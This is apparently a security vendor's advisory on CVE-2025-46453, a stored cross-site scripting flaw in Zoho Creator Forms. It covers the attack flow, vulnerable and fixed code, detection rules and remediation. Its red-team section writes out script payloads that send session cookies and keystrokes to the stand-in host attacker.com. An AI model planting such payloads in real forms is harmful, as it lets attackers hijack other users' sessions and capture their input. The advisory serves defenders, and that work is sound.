CVE-2025-46453

Executive Summary

CVE-2025-46453 is a Stored Cross-Site Scripting (XSS) vulnerability affecting Zoho Creator Forms versions through 1.0.5, developed by CreatorTeam. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an authenticated attacker with form submission privileges to inject malicious scripts that are stored on the server and executed in the browsers of other users (including administrators) who view the affected form entries.

This vulnerability is classified as Medium severity (CVSS 6.5) due to the requirement for user interaction and low privileges, but its impact is amplified in multi-tenant or enterprise environments where form data is reviewed by multiple stakeholders. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild at the time of analysis, but the lack of a vendor patch makes proactive mitigation critical.

Supply Chain & Package Security

Zoho Creator Forms is a proprietary plugin/add-on for the Zoho Creator low-code platform. It is not distributed via public package registries (NPM, PyPI, Go, Ruby). The risk is primarily to organizations using Zoho Creator with this specific forms module. Supply chain security concerns include:

• No signed releases or integrity checks for the plugin.
• No public changelog or security advisory from Zoho.
• Dependency on Zoho Creator core – any compromise of the core platform could amplify this vulnerability.

CVSS Breakdown & Threat Level

Threat Level: Medium. Exploitation requires a valid user account with form submission privileges and social engineering to lure a victim into viewing the malicious entry. However, in internal enterprise workflows, this is easily achieved.

Deep Dive & Mechanics

The vulnerability exists in the form submission handling logic of Zoho Creator Forms. When a user submits a form, the plugin stores the input data without proper sanitization or output encoding. Specifically, fields that accept HTML or rich text (e.g., description, comments, custom fields) are vulnerable.

Attack Flow:

1. Attacker logs into Zoho Creator with a user account that has permission to submit forms.
2. Attacker crafts a malicious payload (e.g., <script>alert('XSS')</script>) in a form field.
3. The payload is stored in the Zoho Creator database.
4. When an administrator or another user views the form entry (e.g., via the "View Submissions" dashboard), the payload executes in their browser.
5. The attacker can then steal session cookies, perform actions on behalf of the victim, or deface the page.

Root Cause: The plugin uses innerHTML or similar DOM manipulation methods to render stored data without escaping HTML entities. This is a classic Stored XSS pattern.

Vulnerable vs. Patched Code

Vulnerable Code (Zoho Creator Forms <= 1.0.5):

// Example of vulnerable rendering function
function renderFormEntry(entry) {
    var container = document.getElementById('entry-display');
    container.innerHTML = entry.content; // Direct injection of user input
}

Patched Code (Hypothetical fix):

// Patched version using textContent or sanitization
function renderFormEntry(entry) {
    var container = document.getElementById('entry-display');
    container.textContent = entry.content; // Safe assignment
    // OR use DOMPurify for rich text:
    // container.innerHTML = DOMPurify.sanitize(entry.content);
}

Key Differences:

• innerHTML interprets the string as HTML, allowing script execution.
• textContent treats the string as plain text, neutralizing any HTML tags.
• For rich text fields, a sanitization library like DOMPurify must be used to strip malicious tags while preserving safe formatting.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• Zoho Creator instance with Forms plugin <= 1.0.5
• Valid user account with form submission privileges
• A form with at least one text field (e.g., "Comments")

Step-by-Step Exploitation:

1. Identify Target Form: Navigate to the form submission page (e.g., https://creator.zoho.com/yourorg/yourform).
2. Craft Payload: Use a standard XSS payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

3. Submit Form: Fill in the vulnerable field with the payload and submit.
4. Trigger Execution: Wait for an admin to view the submission via the dashboard. The script executes, exfiltrating cookies.

Alternative Payloads:

• Session hijacking: <script>new Image().src='https://attacker.com/steal?c='+document.cookie</script>
• Keylogger: <script>document.onkeypress=function(e){fetch('https://attacker.com/k?k='+e.key)}</script>

Blue Team (Defense & Detection)

Detection Strategy:

• Monitor form submission logs for suspicious patterns (e.g., <script>, onerror=, javascript:).
• Implement Content Security Policy (CSP) headers to block inline scripts.
• Use Web Application Firewall (WAF) rules to filter XSS payloads.

Lab Setup for Testing:

1. Deploy a local Zoho Creator instance (if available) or use a sandboxed environment.
2. Install the vulnerable Forms plugin (version 1.0.5).
3. Create a test form with a text field.
4. Submit a benign XSS payload (e.g., <script>alert('test')</script>).
5. Verify execution by viewing the submission as an admin.

Indicators of Compromise (IOCs)

Network IOCs:

• Outbound HTTP requests to attacker-controlled domains containing document.cookie in the query string.
• Suspicious Referer headers pointing to Zoho Creator form submission URLs.

Host IOCs:

• Unexpected JavaScript files or scripts in the browser's local storage.
• Modified form entries containing <script> tags or event handlers (e.g., onmouseover).

Log IOCs:

• Form submission logs with entries containing HTML tags.
• Admin dashboard access logs showing unusual user-agent strings or IP addresses.

Detection Engineering

YARA Rule

rule CVE_2025_46453_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Zoho Creator Forms submissions"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-46453"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /on\w+\s*=\s*['\"].*?['\"]/is
        $xss3 = /javascript\s*:/is
    condition:
        any of them
}

Sigma Rule

title: Zoho Creator Forms Stored XSS Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential stored XSS payloads in Zoho Creator Forms submissions
author: Valters IT
date: 2025-04-10
logsource:
    category: web_application
    product: zoho_creator
detection:
    selection:
        event_type: form_submission
        field_content|contains:
            - '<script'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of HTML in form fields (e.g., rich text editors)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-46453 Zoho Creator Forms Stored XSS Payload";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/form/"; http_uri;
    pcre:"/<script[^>]*>.*?<\/script>/i";
    sid:1000001;
    rev:1;
    reference:cve,2025-46453;
    classtype:web-application-attack;
    priority:2;
)

Remediation & Mitigation

Immediate Actions:

1. Disable HTML rendering in form fields if not required.
2. Apply input validation – whitelist allowed characters (e.g., alphanumeric only) for text fields.
3. Implement output encoding – use textContent instead of innerHTML in custom scripts.
4. Deploy WAF rules to block common XSS patterns.

Long-Term Fix:

• Upgrade to a patched version of Zoho Creator Forms once released by Zoho.
• If no patch is available, consider replacing the plugin with a secure alternative or custom development.

Compensating Controls:

• Content Security Policy (CSP): Add script-src 'self' to prevent inline script execution.
• HttpOnly and Secure flags on session cookies to mitigate cookie theft.
• Regular security audits of form submissions for malicious content.

Valters IT – Securing digital ecosystems through proactive threat intelligence.